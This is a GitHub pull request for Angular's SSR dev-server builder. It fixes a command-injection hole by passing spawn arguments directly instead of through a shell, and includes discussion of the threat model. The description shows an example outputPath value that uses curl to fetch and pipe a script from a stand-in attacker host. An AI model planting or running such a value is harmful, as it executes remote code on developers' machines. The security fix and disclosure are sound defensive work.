fix(build-angular): prevent OS command injection in ssr-dev-server builder#33479
Conversation
There was a problem hiding this comment.
Code Review
This pull request refactors how the Node server is spawned in the SSR dev server builder. It changes the spawning mechanism from running a concatenated command string in a shell to executing the command directly with an array of arguments, removing the need for manual path quoting and the shell option. There are no review comments, and I have no feedback to provide.
|
Reopening this security fix. The VRP report was marked as duplicate |
…sr-dev-server builder spawnAsObservable() was joining command and args into a single string before passing to spawn(). In startNodeServer(), outputPath from angular.json was embedded in args with manual shell quoting and shell: true. Bash evaluates $() inside double-quoted strings, so a crafted outputPath value in angular.json can trigger arbitrary command execution on ng serve. Fix: pass command and args separately to spawn() so Node.js uses execve() directly. Remove the manual quoting around path and drop shell: true.
8e2c1fe to
52f3d99
Compare
|
Thanks for the correction on I want to briefly address the classification point, since it may matter for the VRP/PRP record. The threat model here isn't "attacker who already has access to the developer's machine and edits angular.json." It's closer to a supply-chain scenario:
The attacker never touches the developer's machine directly. The precondition is only that the developer runs The key distinction from "they can already do worse via angular.json" is semantics:
This makes it a CWE-78 (OS Command Injection) rather than a misconfiguration issue. |
|
Executing the |
|
Understood . appreciate the context on the trust model. The fix is in and the codebase is better for it. Thanks for the review and for landing this across both branches. |
spawnAsObservable()inutils.tswas building the shell command by concatenatingcommandandargsinto a single string before passing it tospawn(). The call site instartNodeServer()(index.ts) was passingshell: truealong withoutputPathfrom the builder output embedded as"${path}"in the args array.outputPathderives from the project'sangular.jsonconfiguration. Because bash evaluates$()substitutions inside double-quoted strings, a value likedist/$(curl attacker.com/x.sh|sh)inangular.jsoncauses the substitution to execute whenng serveis run — before Node.js is invoked.Switching to the three-argument form of
spawn(command, args, options)ensures arguments are passed directly to the OS viaexecve()without shell interpretation. The manual quoting aroundpathandshell: trueare no longer needed and have been removed.